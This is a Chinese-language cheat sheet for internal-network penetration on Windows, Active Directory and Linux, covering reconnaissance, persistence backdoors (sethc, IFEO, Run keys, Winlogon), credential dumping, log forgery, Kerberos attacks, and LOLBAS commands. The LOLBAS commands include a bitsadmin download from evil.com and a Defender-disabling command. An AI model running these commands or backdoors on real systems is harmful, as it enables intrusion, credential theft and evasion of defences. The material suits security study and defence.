不同环境下内网渗透的相关技巧

原文地址:传送门

Windows内网渗透

信息收集

基本命令

查看主机名:

1
hostname

查询所有计算机名称:

1
dsquery computer

查看配置以及相关补丁信息:

1
2
3
systeminfo

wmic qfe get description,installedOn /format:csv

查看系统版本:

1
var

查看进程信息:

1
2
3
4
5
tasklist /svc

wmic process get caption,executablepath,commandline /format:csv

get-process //powershell运行

查看所有环境变量:

1
set

查看计划任务:

1
schtasks /QUERY /fo LIST /v

查看安装驱动:

1
DRIVERQUERY

查看操作系统信息:

1
2
wmic os get osarchitecture //架构
wmic os get caption //系统名

查看逻辑盘:

1
wmic logicaldisk get caption

查看安装的软件信息:

1
wmic product get name,version

域信息

获取当前组的计算机名:

1
net view

网络发现:

1
net view /all

查看所有域:

1
net view /domain

域信任信息:

1
nltest time /domain

定位域控:

1
net time /domain

查看域中的用户名:

1
dsquery user

查询域组名称:

1
net group /domain

查询域管理员:

1
net group "Domain Admins" /domain

域控信息:

1
2
3
4
5
6
7
nltest /dclist:xx

Get-NetDomain

Get-NetDomainController

net group "Domain controllers"

用户信息

查看用户:

1
2
3
net user
whoami whoami /priv whoami /all
wmic useraccount get /ALL /format:csv

用户特权信息:

1
whoami /priv

查看当前权限:

1
net localgroup administrators

查看在线用户:

1
quser   qwinsta   query user

查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域:

1
net config Workstation

ACL信息:

1
get-acl

网络信息

网卡信息:

1
ipconfig

ARP表:

1
arp -a

路由表:

1
route print

监听的端口:

1
netstat -ano

端口信息:

1
Get-NetTCPConnection

DNS缓存:

1
2
3
ipconfig /displaydns

Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache

防火墙

查看防火墙状态:

1
netsh advfirewall show allprofiles

防火墙日志目录:

1
netsh firewall show logging

防火墙规则:

1
2
3
netsh advfirewall firewall show rule name=all
netsh firewall show config
netsh firewall show state

密码信息

无人值守安装文件中的密码信息:

1
2
3
4
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml

持久化

隐藏文件

创建系统隐藏文件:

1
2
attrib +s +a +r +h filename 
attrib +s +h filename

后门

sethc

sethc.exe 是 Windows系统在用户按下五次shift后调用的粘滞键处理程序,当有写文件但是没有执行权限时,可以通过替换 sethc.exe 的方式留下后门,在密码输入页面输入五次shift即可获得权限

映像劫持

在高版本的Windows中,替换程序是受到系统保护的,需要使用其他的技巧来实现替换。

具体操作为在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option 下添加项 sethc.exe ,然后在 sethc.exe 这个项中添加 debugger 键,键值为恶意程序的路径

定时任务

Windows下有 schtasksat 两种计划任务机制。 其中 at 在较高版本的Windows中已经弃用。

设置命令为 schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" 。删除命令为 schtasks /delete /tn "TEST_OnLogon" /f

登录脚本

Windows可以在用户登录前执行脚本,使用 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 设置。

也可在 HKCU\Environment\ 路径下设置 UserInitMprLogonScript 来实现

屏幕保护程序

Windows可以自定义屏幕保护程序,使用 HKEY_CURRENT_USER\Control Panel\Desktop 设置

隐藏用户

Windows可以使用在用户名后加入 $ 来创建隐藏用户,这种帐户可在一定条件下隐藏,但是仍可以通过控制面板查看。

在创建隐藏用户的基础上,可以修改注册表的方式创建影子用户,这种方式创建的用户只能通过注册表查看

CLR

CLR (Common Language Runtime Compilation) 公共语言运行时,是微软为.NET产品构建的运行环境,可以粗略地理解为.NET虚拟机。

.NET程序的运行离不开CLR,因此可以通过劫持CLR的方式实现后门

Winlogon Helper DLL后门

Winlogon是一个Windows组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在Windows登录期间启动哪些进程。所以可以依靠这个注册表来进行权限维持。

注册表位置如下:

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell 用于执行exe程序
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 用于执行exe程序
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify 用于执行dll文件

自启动

基于注册表的自启动

通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是 RunRunOnce ,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。

注册表如下:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

基于策略的自启动注册表设置如下:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

设置启动文件夹注册表位置如下:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

设置服务启动项注册表位置如下:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

用户自启动位置 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell ,其中 Userinit 键允许指定用逗号分隔的多个程序。

如果用户启动了屏幕保护程序,也可以通过屏幕保护程序来启动后面,相关注册表键值为:

  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
  • HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

基于特定目录的自启动

自启动目录, C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 目录对特定用户生效, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 对所有用户生效。在NT6以前,两个目录为 C:\Documents and Settings\Username\Start Menu\Programs\StartUp / C:\Documents and Settings\All Users\Start Menu\Programs\StartUp

权限

UAC

简介

UAC (User Account Control) 是Windows Vista 和 Windows Server 2008 引入的一个安全机制,当一些敏感操作发生时,会跳出提示显式要求系统权限。

当用户登陆Windows时,每个用户都会被授予一个access token,这个token中有security identifier (SID) 的信息,决定了用户的权限

会触发UAC的操作

  • 以管理员权限启动应用
  • 修改系统、UAC设置
  • 修改没有权限的文件或者目录( %SystemRoot% / %ProgramFiles% 等 )
  • 修改ACL (access control list)
  • 安装驱动
  • 增删账户,修改账户类型,激活来宾账户

ByPass

  • DLL相关
  • 进程注入
  • 注册表

权限提升

权限提升有多重方式,有利用二进制漏洞、逻辑漏洞等技巧。利用二进制漏洞获取权限的方式是利用运行在内核态中的漏洞来执行代码。比如内核、驱动中的UAF或者其他类似的漏洞,以获得较高的权限。

逻辑漏洞主要是利用系统的一些逻辑存在问题的机制,比如有些文件夹用户可以写入,但是会以管理员权限启动。

任意写文件利用

在Windows中用户可以写的敏感位置主要有以下这些

  • 用户自身的文件和目录,包括 AppData Temp
  • C:\ ,默认情况下用户可以写入
  • C:\ProgramData 的子目录,默认情况下用户可以创建文件夹、写入文件
  • C:\Windows\Temp 的子目录,默认情况下用户可以创建文件夹、写入文件

具体的ACL信息可用AccessChk, 或者PowerShell的 Get-Acl 命令查看。

可以利用对这些文件夹及其子目录的写权限,写入一些可能会被加载的dll,利用dll的加载执行来获取权限

MOF

MOF是Windows系统的一个文件( c:/windows/system32/wbem/mof/nullevt.mof )叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡。

当拥有文件上传的权限但是没有Shell时,可以上传定制的mof文件至相应的位置,一定时间后这个mof就会被执行。

一般会采用在mof中加入一段添加管理员用户的命令的vbs脚本,当执行后就拥有了新的管理员账户

凭证窃取

Windows本地密码散列导出工具

  • mimikatz
  • lsass
  • wce
  • gsecdump
  • copypwd
  • Pwdump
  • ProcDump

Windows本地密码破解工具

  • L0phtCrack

  • SAMInside

  • Ophcrack

  • 彩虹表破解

  • 本机hash+明文抓取

  • win8+win2012明文抓取

  • ntds.dit的导出+QuarkPwDump读取分析

  • vssown.vbs + libesedb + NtdsXtract

  • ntdsdump

  • 利用powershell(DSInternals)分析hash

  • 使用 net use \\%computername% /u:%username% 重置密码尝试次数

  • 限制读取时,可crash操作系统后,在蓝屏的dump文件中读取

其他

  • 组策略首选项漏洞
  • DLL劫持
  • 替换系统工具,实现后门
  • 关闭defenderSet-MpPreference -disablerealtimeMonitoring $true

痕迹清理

日志

查看日志:

1
eventvwr

伪造日志:

1
eventcreate

操作日志:

  • 3389登录列表
  • 文件打开日志
  • 文件修改日志
  • 浏览器日志
  • 系统事件
  • 程序安装记录
  • 程序删除记录
  • 程序更新记录

登录日志:

  • 系统安全日志

日志路径:

  • 系统日志 %SystemRoot%\System32\Winevt\Logs\System.evtx
  • 安全日志 %SystemRoot%\System32\Winevt\Logs\Security.evtx
  • 应用程序日志 %SystemRoot%\System32\Winevt\Logs\Application.evtx

服务日志:

  • IIS %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

注册表

  • AppCompatFlags
  • Background Activity Moderator (BAM)
  • MuiCache
  • RecentApps
  • RunMRU
  • ShimCache (AppCompatCache)

注册表键

  • HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog

文件

Prefetch

预读取文件夹,用来存放系统已访问过的文件的预读信息,扩展名为PF。位置在 C:\Windows\Prefetch

JumpLists

记录用户最近使用的文档和应用程序,方便用户快速跳转到指定文件,位置在 %APPDATA%\Microsoft\Windows\Recent

Amcache / RecentFileCache.bcf

Windows中的使用这两个文件来跟踪具有不同可执行文件的应用程序兼容性问题,它可用于确定可执行文件首次运行的时间和最后修改时间

在Windows 7、Windows Server 2008 R2等系统中,文件保存在 C:\Windows\AppCompat\Programs\RecentFileCache.bcf ,包含程序的创建时间、上次修改时间、上次访问时间和文件名

在Windows 8、Windows 10、Windows Server 2012等系统中,文件保存在 C:\Windows\AppCompat\Programs\Amcache.hve ,包含文件大小、版本、sha1、二进制文件类型等信息

时间轴

Windows时间轴是Windows 10在1803版中引入的一个新特性,会记录访问过的网站、编辑过的文档、运行的程序等

彻底删除

  • 多次覆写文件 cipher /w:<path>
  • 格式化某磁盘count次 format D: /P:<count>

横向移动

常见入口

  • SMB弱密码
  • SqlServer弱密码

LOLBAS

简介

LOLBAS,全称Living Off The Land Binaries and Scripts (and also Libraries),是一种白利用方式,是在2013年DerbyCon由Christopher Campbell和Matt Graeber发现,最终Philip Goh提出的概念

这些程序一般有有Microsoft或第三方认证机构的签名,但是除了可以完成正常的功能,也能够被用于内网渗透中。这些程序可能会被用于:下载安全恶意程序、执行恶意代码、绕过UAC、绕过程序控制等

常见程序

appsyncvpublishing.exe

  • 执行powershell

bitsadmin.exe

  • 下载文件 bitsadmin /create 1 bitsadmin /addfile 1 https://evil.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

cdb.exe

certutil.exe

  • 可安装、备份、删除、管理和执行证书
  • 证书存储相关功能
  • 下载文件 certutil -urlcache -split -f https://addr/example.exe
  • 注意 certutil 是有cache的,需要显式删除
  • base64 编解码 certutil -encode / certutil -decode

cmd.exe

cmstp.exe

control.exe

csc.exe

  • 编译 C# 载荷

cscript.exe

  • 执行脚本

extexport.exe

expand.exe

  • 展开一个或多个压缩文件

forfiles.exe

  • forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

mofcomp.exe

makecab.exe

msbuild.exe

  • 构建应用程序

mshta.exe

  • HTML应用

msiexec.exe

  • 安装msi
  • 加载dll

msxsl.exe

  • 处理XSL程序

netsh.exe

installutil.exe

  • 安装/卸载程序组件

IEExec.exe

  • .NET Framework附带程序

powershell.exe

psexec.exe

reg.exe

  • 注册表控制台

regedit.exe

  • 注册表修改

regsvr32.exe

  • 注册动态链接库/ActiveX控件

rundll32.exe

  • 执行DLL文件中的内部函数

sc.exe

  • 查看服务状态管理

schtasks.exe

  • 定时计划任务

shred

  • 重复写入文件,防止文件恢复

type.exe

  • 利用ads隐藏文件 type <filepath> <target_file:ads>

wmic.exe

  • Windows管理工具

windbg.exe

winrm.exe

wscript.exe

  • 脚本引擎

waitfor.exe

  • 用于同步网络中计算机,可以发送或等待系统上的信号

MSPRC

MSRPC (Microsoft Remote Procedure Call) 是微软对 DCE/RPC 协议的修改实现,用于支持Windows系统中应用程序的远程网络调用。

MSRPC所使用的端口有 UDP 135 和 TCP 139 / 445 。

MSRPC 可以用于

  • 用户遍历
  • 服务遍历
  • 凭证导出
  • 横向移动
  • 权限提升

域渗透

用户组与工作组

用户

Windows系统存在一些为了特定用途而设置的用户,分别是:SYSTEM(系统)、Trustedinstaller(信任程序模块)、Everyone(所有人)、Creator Owner(创建者)等,这些特殊用户不属于任何用户组,是完全独立的账户。其中SYSTEM拥有整台计算机管理权限的账户,一般操作无法获取与它等价的权限

用户组

Windows系统内置了许多本地用户组,用于管理用户权限。只要用户账户加入到对应的用户组内,则用户账户也将具备对应用户组所拥有的权限

默认情况下,系统为用户分了7个组,并给每个组赋予不同的操作权限。这些组为:管理员组(Administrators)、高权限用户组(Power Users)、普通用户组(Users)、备份操作组(Backup Operators)、文件复制组(Replicator)、来宾用户组(Guests)、身份验证用户组(Authenticated Users)

工作组

工作组(Workgroup)是最常用最简单最普遍的资源管理模式,默认情况下计算机都在名为workgroup的工作组中。工作组模式比较松散,适合网络中计算机数量较少,不需要严格管理的情况

域中用户

域用户

域环境中的用户和本地用户的帐户不同,域用户帐户保存在活动目录中。在域环境中,一个域用户可以在域中的任何一台计算机上登录。在域中用户可以使用SID (Security Identifier) 来表明身份,用NTLM哈希或者Kerberos来验证身份

机器用户

机器用户也被称作机器账号或计算机账号,所有加入域的主机都会有一个机器用户,机器用户的用户名以 $ 结尾

组策略

组策略(Group Policy)用于控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。其中本地的组策略(LGPO或LocalGPO),可以在独立且非域的计算机上管理组策略对象。在域环境中的组策略通常被称作GPO(Group Policy Object)

内网常用协议

Windows查询名称解析的顺序为DNS、mDNS、LLMNR、NBNS

NetBIOS

NetBIOS(Network Basic Input/Output System)是基于网络的交互协议,通常使用UDP 137、UDP 138、TCP 139等端口。Windows在安装TCP/IP协议时会默认启用该协议,可能导致未设置权限校验的网络资源被访问

基于NetBIOS有NBNS (NetBIOS Name Service)服务,通常监听在UDP 137端口,该服务提供三种功能:将NetBIOS名称解析到IP、查询某一个NetBIOS节点的状态,注册/释放一个NetBIOS名

可以使用 nbtstat 工具利用NetBIOS协议管理网络

LLMNR

链路本地多播名称解析 (Link-Local Multicast Name Resolution, LLMNR)是一个基于DNS数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。该协议在Windows Vista后被引入。 LLMNR监听UDP 5355端口,可以通过多播地址 224.0.0.252 (或 FF02:0:0:0:0:0:1:3) 访问

mDNS

mDNS (multicast DNS) 在Windows 10中被引入,监听UDP 5353端口,对应的多播地址为 224.0.0.251 ( FF02::FB ) 。mDNS主要实现了在没有传统DNS服务器的情况下使局域网内的主机实现相互发现和通信

WPAD

网络代理自动发现协议 (Web Proxy Auto-Discovery, WPAD) 是一种客户端使用DHCP和/或DNS发现方法来定位一个配置文件URL的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定URL应使用的代理

域指将网络中多台计算机逻辑上组织到一起,进行集中管理的逻辑环境。域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库

域结构

域树

域树(Trees)由多个域组成,这些域共享同一表结构和配置,形成一个连续的命名空间(namespace)

林(Forests)是一个复杂的AD实例,由一个或数个域组成,每个域树都有自己唯一的名称空间

域控制器

ADDS的目录存储在域控制器(Domain Controller)内,一个域内可以有多台域控制器,每一个域控制器的地位几乎是平等的,有几乎相同的数据库

在一台域控制器添加一个用户账户后,这个账户会被自动复制到其他域控制器的数据库中

AD数据库有多主机复制模式(Multi-master Replication Model)和单主机复制模式(Sing-master Replication Model)

多主机模式可以直接更新任何一台域控制器内的AD对象,并将更新之后的对象复制到其他域控制器,大部分数据都是用多主机模式进行复制

单主机复制模式是指由一台被称作操作主机(Operations Master)的域控制器负责接收更改数据的请求,并将数据复制到其他的域控制器

信任

两个域之间需要创建信任关系,才可以访问对应域内的资源

域信任类型

Active Directory的信任方式可以分为以下几种:

Tree-Root Trust

  • 双向具有转移性

Parent-Child Trust

  • 具有转移性,双向行人

Forest Trust

  • 如果两个林创建了信任关系,则林中所有的域都相互信任
  • 两个林之间的信任关系无法自动扩展到其他林上

Realm Trust

  • ADDS域可以和非Windows系统的Kerberos域之间创建信任

External Trust

  • 位于两个林内的域之间可以通过外部信任来创建信任关系

Shortcut Trust

  • 可以缩短验证用户身份的时间

OU

组织单位(Organization Unit,OU)是一个容器对象,将域中的对象组织成逻辑组,帮助管理员管理。OU包含用户、计算机、工作组、打印机、安全策略以及其他组织单位等

Active Directory

活动目录 (Active Directory,AD) 是面向Windows Server的目录服务。Active Directory存储了有关网络对象的信息,并且让管理员和用户能够查找和使用这些信息

ADDS

Active Directory提供目录服务的组件被称作Active Directory域服务 (Active Directory Domain Services, ADDS) ,负责目录数据库的存储、增删改查等工作,可以用在多种局域网、广域网的场景中

从逻辑上看,ADDS的组件可以分为Partition、Schema、Domain、Domain tree、Forest、OU、Container

Partition也被称为naming context,是AD DS数据库的一部分。Schema是存储在 ADDS 中数据的定义。Container是为ADDS提供组织框架的对象

从实现上区分,ADDS可以分为Domain controller、Data store、Global catalog server、RODC (Read-only domain controller) 、Site、Subnet

每个域控制器都有完整的ADDS数据,每个域控都可以处理数据的修改并同步至其他的域控

域控会有一份数据拷贝 (Data store) ,默认存储在 C:\Windows\NTDS 目录下

Global catalog server是存储全局catalog的域控,catlog以只读的方式存储了一个multiple-domain forest的所有对象,用于加速搜索

名称空间

名称空间 (namespace) 是一块界定好的区域,在区域内可以用名称找到与之相关的信息

对象与属性

ADDS内的资源都是以对象 (Object) 的形式存在的,对象通过属性 (Attrbute) 来描述其特征

ADCS

介绍

Active Directory 证书服务 (Active Directory Certificate Services,AD CS) 是微软用于实现 PKI 的服务

证书

ADCS 中的证书是 X.509 格式的数字签名文档,用于加密、签名或身份验证等

证书常用的属性由下述字段组成

  • Subject:主题
  • Public Key:公钥
  • Extended Key Usages (EKUs):扩展密钥,描述证书的对象标识符 (Object identifier, OID)

常用的 EKU OID 包括:

代码签名

  • OID 1.3.6.1.5.5.7.3.3
  • 证书用于签署可执行代码

加密文件系统

  • OID 1.3.6.1.4.1.311.10.3.4
  • 证书用于加密文件系统

安全电子邮件

  • OID 1.3.6.1.5.5.7.3.4
  • 证书用于加密电子邮件

客户端身份验证

  • OID 1.3.6.1.5.5.7.3.2

智能卡登录

  • OID 1.3.6.1.4.1.311.20.2.2

服务器认证

  • OID 1.3.6.1.5.5.7.3.1
  • 证书用于识别服务器 (例如HTTPS 证书)
证书模板

微软提供了证书模板的功能,方便在域内签发证书。证书模板是注册策略和预定义证书设置的集合,包含证书有效期、用途、申请者等信息

证书注册

证书可以通过以下几种方式注册:

  • 通过 Windows 客户端证书注册协议 (MS-WCCE)
  • 通过 ICertPassage 远程协议 (MS-ICPR)
  • 在 ADCS 开启了对应 Web 服务的情况下,使用 Web 服务注册
  • 在服务器安装了对应服务时,通过证书注册服务 (CES) 注册
  • 在服务器安装了对应服务时,使用网络设备注册服务

组策略

简介

组策略 (Group Policy, GP) 用于管理网络环境中的用户和设备,定义了系统管理员管理工作所要的各种模板组件

组策略有以下功能:

  • 管理注册表
  • 设置脚本
  • 重定向文件夹
  • 管理应用程序
  • 指定安全选项

常用概念

组策略容器 (Group Policy Container,GPC)存储在活动目录中,包含GPO属性、配置信息和版本等。可以通过GPC来查找GPT

组策略模板 (Group Policy Template, GPT) 存储在域控中,包含所有的组策略信息。包括管理模板,安全,脚本,软件安装等

其中GPC中的信息量少、容量小,GPT中消息量较大、容量大,因此两个部分分开存放。防止活动目录中因存储了过多的数据而被影响性能

组策略对象 (Group Policy Object, GPO) 是包含多种Windows组策略设置的集合,存储在GPC和GPT中

Kerberos的Windows实现

相关定义

SPN

服务主体名称 (ServicePrincipal Names, SPN) ,是服务实例(如HTTP、SMB等)的唯一标识符

SPN分为两种类型:一种是注册在活动目录的机器帐户下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户下。一种是注册在活动目录的域用户帐户下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户下

域内攻击思路

获取域控权限

  • 通过域控相关漏洞
  • 抓hash,尤其是域管理员、运维等高权限账号的哈希

控制入域机器

  • 下发恶意策略控制
  • 获取域内用户凭证
  • 利用错误的域管理配置
  • 域内relay

获取服务票据

  • 攻击Exchange等服务器

攻击类型

黄金票据利用

在认证过程中,经过client与AS的通信会得到TGT,黄金票据(Golden Ticket)就是伪造票据授予票据(TGT),也被称为认证票据

黄金票据利用需要与DC通信,且需要获取krbtgt的hash,但是可以获取任何Kerbose服务权限

白银票据利用

白银票据(Silver Tickets)伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里的ticket是基于client info、server session key、end time、server hash。这里client info已知,end time可以构造,server session key是TGS生成的,所以只要server的NTLM hash即可。银票伪造的是TGS,只能访问指定的服务

DCSync 攻击

域内有多台域控服务器时,为了同步域控服务器的修改,微软提供了基于远程目录协议 DRSR 的同步机制

在多个域控服务器之间,每隔一段时间会有一次域数据的同步。由需要同步的域控服务器向其它服务器发送 GetNCChanges 请求,请求中包含需要同步的数据。数据量较多时,则重复这个过程

DCSync 就是使用这种机制进行域渗透的技术,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,在2015年添加到 mimikatz 的一个功能,可以导出域内所有用户的hash

这种方式需要满足以下任一一种权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控制器的计算机帐户

或者拥有特定的几条 DACL:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • DS-Replication-Get-Changes-In-Filtered-Set

当没有管理员用户,但是拥有 WriteDACL 权限时,可以写入上述 DACL 来完成 DCSync

对于这种攻击,可以通过检测 GetNCChanges 发起者的方式,如果由非域控机器发起对应请求,则可以认为是 DCSync 攻击

DCShadow 攻击

DCShadow是由来自法国的安全研究人员Benjamin Delpy和Vincent Le Toux在2018年的微软蓝帽(Blue Hat)大会上提出

DCShadow攻击指在Active Directory环境下创建一个恶意的域控制器,并用它来推送恶意对象

哈希传递攻击

哈希传递攻击(Pass-the-Hash,PTH)是通过传递NTLM哈希来认证的攻击方法,常用的工具有mimikatz等

票据传递攻击

票据传递攻击(Pass-the-Ticket Attacks,PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单

Kerberoasting Attacks

Kerberoasting攻击由Tim Medin在2014 DerbyCon conference上 公开 。指域内的任何一台主机,都可以通过查询SPN,Kerberoasting即是向域内的所有服务请求TGS,然后进行暴力破解

Roasting AS-REP

该攻击枚举域中不需要Kerberos预身份认证的帐户,向这些账户请求一条加密信息,并离线尝试获取到的账户哈希。该方式需要账户明确设置了 DONT_REQ_PREAUTH

Kerberos Delegation Attacks

在一个域中,A使用Kerberos身份验证访问服务B,B再使用A的身份去访问C,这个过程就可以理解为委派。委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,非约束委派可以访问域内任意其它服务,约束委派对认证做了限制不可以访问其他的服务

Kerberos Delegation(Kerberos委派)攻击分为非约束委派攻击和约束委派攻击。原理都是基于域内已经配置了委派的账户来获取其它账户的权限

其他漏洞利用

  • 域用户提权 (CVE-2022-26923)
  • KDC bamboozling (CVE-2021-42287)
  • Name impersonation (CVE-2021-42278)
  • ProxyShell (CVE-2021-34473)
  • ProxyLogon (CVE-2021-26855)
  • PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
  • SMBGhost (CVE-2020-0796)
  • Zerologon (CVE-2020-1472)
  • NTLM Relay (CVE-2019-1040)
  • 永恒之蓝 (MS17-010)
  • 域用户提权 (MS14-068)
  • Gpp漏洞 (MS14-025)
  • SAMR协议漏洞 (MS14-016)

防护

  • 使用ATA等商业化防护工具
  • 安装杀毒软件、EDR等工具
  • 关闭高危服务
  • 统一配置防火墙策略
  • 对域控等高危账号使用白名单进行行为管理

检测高危操作

  • 权限提升
  • 高危账号密码修改、重置

行为频率建模

  • 对大量尝试登录/信息查询进行报警

对特定攻击行为进行监控

  • 通过GPO下发自启动、计划任务

Linux内网渗透

信息收集

获取内核、操作系统和设备信息

版本信息

  • uname -a 所有版本
  • uname -r 内核版本信息
  • uname -n 系统主机名字
  • uname -m Linux内核架构

内核信息

  • cat /proc/version

CPU信息

  • cat /proc/cpuinfo

发布信息

  • cat /etc/*-release
  • cat /etc/issue

主机名

  • hostname

文件系统

  • df -a

内核日志

  • dmesg / /var/log/dmesg

用户和组

  • 列出系统所有用户 cat /etc/passwd

  • 列出系统所有组 cat /etc/group

  • 列出所有用户hash(root)cat /etc/shadow

  • 查询用户的基本信息 finger

  • 当前登录的用户 users who -a /var/log/utmp

  • 查询无密码用户 grep 'x:0:' /etc/passwd

  • 目前登录的用户 w

  • 登入过的用户信息 last / /var/log/wtmp

  • 显示系统中所有用户最近一次登录信息 lastlog / /var/log/lastlog

  • 登录成功日志 /var/log/secure

  • 登录失败日志 /var/log/faillog

  • 查看特权用户 grep :0 /etc/passwd

  • 查看passwd最后修改时间 ls -l /etc/passwd

  • 查看是否存在空口令用户 awk -F: 'length($2)==0 {print $1}' /etc/shadow

  • 查看远程登录的账号 awk '/\$1|\$6/{print $1}' /etc/shadow

  • 查看具有sudo权限的用户

  • cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

用户和权限信息

  • 当前用户 whoami
  • 当前用户信息 id
  • 可以使用sudo提升到root的用户(root) cat /etc/sudoers
  • 列出目前用户可执行与无法执行的指令 sudo -l

环境信息

  • 打印系统环境信息 env
  • 打印系统环境信息 set
  • 环境变量中的路径信息 echo $PATH
  • 打印历史命令 history / ~/.bash_history
  • 显示当前路径 pwd
  • 显示默认系统遍历 cat /etc/profile
  • 显示可用的shell cat /etc/shells

进程信息

  • 查看进程信息 ps aux
  • 资源占有情况 top -c
  • 查看进程关联文件 lsof -c $PID
  • 完整命令行信息 /proc/$PID/cmdline
  • 进程的命令名 /proc/$PID/comm
  • 进程当前工作目录的符号链接 /proc/$PID/cwd
  • 运行程序的符号链接 /proc/$PID/exe
  • 进程的环境变量 /proc/$PID/environ
  • 进程打开文件的情况 /proc/$PID/fd

服务信息

  • 由inetd管理的服务列表 cat /etc/inetd.conf
  • 由xinetd管理的服务列表 cat /etc/xinetd.conf
  • nfs服务器的配置 cat /etc/exports
  • 邮件信息 /var/log/mailog
  • ssh配置 sshd_config

计划任务

  • 显示指定用户的计划作业(root) crontab -l -u %user%

计划任务

  • /var/spool/cron/*
  • /var/spool/anacron/*
  • /etc/crontab
  • /etc/anacrontab
  • /etc/cron.*
  • /etc/anacrontab

开机启动项

  • /etc/rc.d/init.d/

网络、路由和通信

  • 列出网络接口信息 /sbin/ifconfig -a / ip addr show
  • 列出网络接口信息 cat /etc/network/interfaces
  • 查看系统arp表 arp -a
  • 打印路由信息 route / ip ro show
  • 查看dns配置信息 cat /etc/resolv.conf
  • 打印本地端口开放信息 netstat -an
  • 列出iptable的配置规则 iptables -L
  • 查看端口服务映射 cat /etc/services
  • Hostname hostname -f
  • 查看进程端口情况 netstat -anltp | grep $PID

已安装程序

  • rpm -qa --last Redhat
  • yum list | grep installed CentOS
  • ls -l /etc/yum.repos.d/
  • dpkg -l Debian
  • cat /etc/apt/sources.list Debian APT
  • pkg_info xBSD
  • pkginfo Solaris
  • pacman -Q Arch Linux
  • emerge Gentoo

文件

  • 最近五天的文件 find / -ctime +1 -ctime -5
  • 文件系统细节 debugfs

公私钥信息

  • ~/.ssh
  • /etc/ssh

日志

  • /var/log/boot.log
  • /var/log/cron
  • /var/log/faillog
  • /var/log/lastlog
  • /var/log/messages
  • /var/log/secure
  • /var/log/syslog
  • /var/log/syslog
  • /var/log/wtmp
  • /var/log/wtmp
  • /var/run/utmp

虚拟环境检测

  • lsmod | grep -i "vboxsf\|vboxguest"
  • lsmod | grep -i "vmw_baloon\|vmxnet"
